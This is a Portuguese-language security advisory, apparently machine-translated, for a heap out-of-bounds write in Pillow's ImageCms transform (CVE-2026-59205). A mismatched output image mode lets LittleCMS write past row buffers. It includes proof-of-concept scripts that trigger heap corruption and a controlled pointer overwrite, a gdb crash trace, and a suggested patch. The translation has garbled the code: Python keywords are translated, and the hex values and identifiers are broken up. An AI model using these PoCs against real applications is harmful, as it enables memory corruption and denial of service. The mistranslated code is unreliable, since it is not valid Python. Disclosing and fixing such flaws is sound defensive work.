A API pública da Almofada `ImageCms.ImageCmsTransform.apply(im, imOut)` pode desencadear a corrupção nativa do montão controlado quando o chamador fornecer uma imagem de saída cujo modo não corresponde ao modo de saída declarado da transformada. Por exemplo, uma transformada construída como `RGBA -> RGBA` pode ser aplicada a uma imagem de saída `L`. O almofada verifica apenas dimensões, depois chama LittleCMS com o ponteiro da linha de saída. LittleCMS escreve linhas de tamanho RGBA em um 1 -byte- por- pixel linha de imagem `L`. `src/PIL/ImageCms.py:ImageCmsTransform.apply()` aceita um chamador opcional fornecido `imOut`. ````python def apply(self, im, imOut=Nenhum): se imOut é Nenhum: imOut = Image.new(self.output_mode, im.size, Nul) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() retorna imOut ```` Se ` imOut` for fornecido, o Travesseiro não verifica. ````texto im.mode == self.input_mode imOut.mode == self.output_mode ```.
O envoltório C em `src/_imagegcms.c` desenrola ambos os núcleos de imagem e só verifica que as dimensões de saída são pelo menos tão grandes quanto as dimensões de entrada: ```c estático pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { se (im->xsize > imOut->xsize. im->ysize > imOut->ysize) { retorna - 1; } para (i = 0; i ysize; i++) { cmsDoTransform( hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux( hTransform, imOut, im); devolve 0; } ```. `findLCMStype()` mapeia `RGB`, `RGBA` e `RGBX` modos de transformação para LittleCMS `TYPE_RGBA_ 8 `, que escreve 4 bytes por pixel:.
``` c caso IMAGING_MODE_RGB: caso IMAGING_MODE_RGBA: caso IMAGING_MODE_RGBX: retorno TYPE_RGBA_ 8; ```. Assim, com uma transformada declarada como `RGBA -> RGBA`, LittleCMS escreve ` 4 * largura ' bytes para cada linha de saída. Se a imagem de saída fornecida for o modo `L`, o Travesseiro só alocou ` 1 * largura ' bytes para essa linha. ``` texto alocação da linha de destino: 4096 bytes LittleCMS gravar tamanho: 16384 bytes transbordo: ~ 12288 bytes passando pela linha ``` O erro não requer uma imagem grande. Largura 8 foi suficiente para corromper metadados de pilha. Em largura 8, `apply()` retornou ao Python e impresso `after`; glibc detectou o montão corrompido mais tarde durante a limpeza. Ativador de corrupção de pilhas minúsculas. ````python a partir da importação de imagens PIL, ImageCms.
srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA"). im = Image. new("RGBA", ( 8, 1 ), ( 0 x 41, 0 x 42, 0 x 43, 0 x 44 )) = Image.new("L", ( 8, 1 ), 0 ) print("fore", wrash=True) transform.apply(im, out) print("após") ```. Observado localmente no Travesseiro ` 12.3.0.dev 0 `: ``` texto antes após free(): inválido próximo tamanho (normal) Abortado (core downed) ```.
Controlado sobrescrever evidência PoC. ````python a partir da importação de imagens PIL, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA"). im = Image. new("RGBA", ( 4096, 1 ), ( 0 x 41, 0 x 42, 0 x 43, 0 x 44 )) = Image.new("L", ( 4096, 1 ), 0 ) transform. apply(im, out) ```. ```` bash gdb -q --batch -ex run - ex bt -- args \ python 3 b 022 _controlado.py ``.
Observado no Travesseiro ` 12.3.0.dev 0 `. ```texto Programa recebeu sinal SIGSEGV, falha de segmentação. ___pthread_mutex_lock (mutex=mutex@entry= 0 x 4443424144434241 ) # 1 _cmsLockPrimitive (m= 0 x 4443424144434241 ) # 2 defMtxLock (id= 0 x 4443424144434241, mtx= 0 x 4443424144434241 ) # 3 _cmsLockMutex (ContextID= 0 x 4443424144434241, mtx= 0 x 4443424144434241 ) # 4 cmsSalvarProfileToIOhandler(...) # 5 cmsSalvarProfil deMem(...) # 6 cms_profile_tobytes (...) no src/_imagegcms.c: 152 ``` ` 0 x 4443424144434241 ` é o padrão de pixels de fonte controlado pelo atacante `b"ABCDABCD"` interpretado como um valor de tamanho ponteiro pequeno. Usando pixels fonte `( 1, 2, 3, 4 )` produziu similarmente um ponteiro de falha de ` 0 x 403020104030201 `, correspondendo aos bytes repetidos de pixel.
Este é um monte de gravação fora de- limites na extensão nativa ImageCms do Pillow, alcançable através da API pública. Os aplicativos são impactados se usuários não confiados podem controlar os parâmetros de transformação de ImageCms e/ou fornecer o objeto de imagem de saída passado para `ImageCmsTransform.apply()`. Os pixels de imagem fonte influenciam os bytes escritos fora dos limites. Validar os modos antes de ligar para a transformação nativa. ````python def apply( self, im, imOut=Nenhum): se im.mode!= self.input_mode: aumentar o ValueError("input mode incompatible") se imOut é Nenhum: imOut = Image.new( self.output_mode, im.size, Nul) elif imOut.mode!= self.output_mode: aumentar o ValueError("output mode incompatible") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() retornar o imOut ````.
A extensão C também deve rejeitar defensivamente os modos de imagem incompatíveis antes de chamar `cmsDoTransform()`. Registro de aconselhamento: GHSA- 9 hw 9 - ch 79 - 4 vh 6. Identificadores relacionados: CVE- 2026 - 59205. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 23: 19: 00.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 23: 19: 00.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: Almofada do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 12.3.0. Classificação e evidência: identificadores de fraqueza CWE- 787. O registro contém 7 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.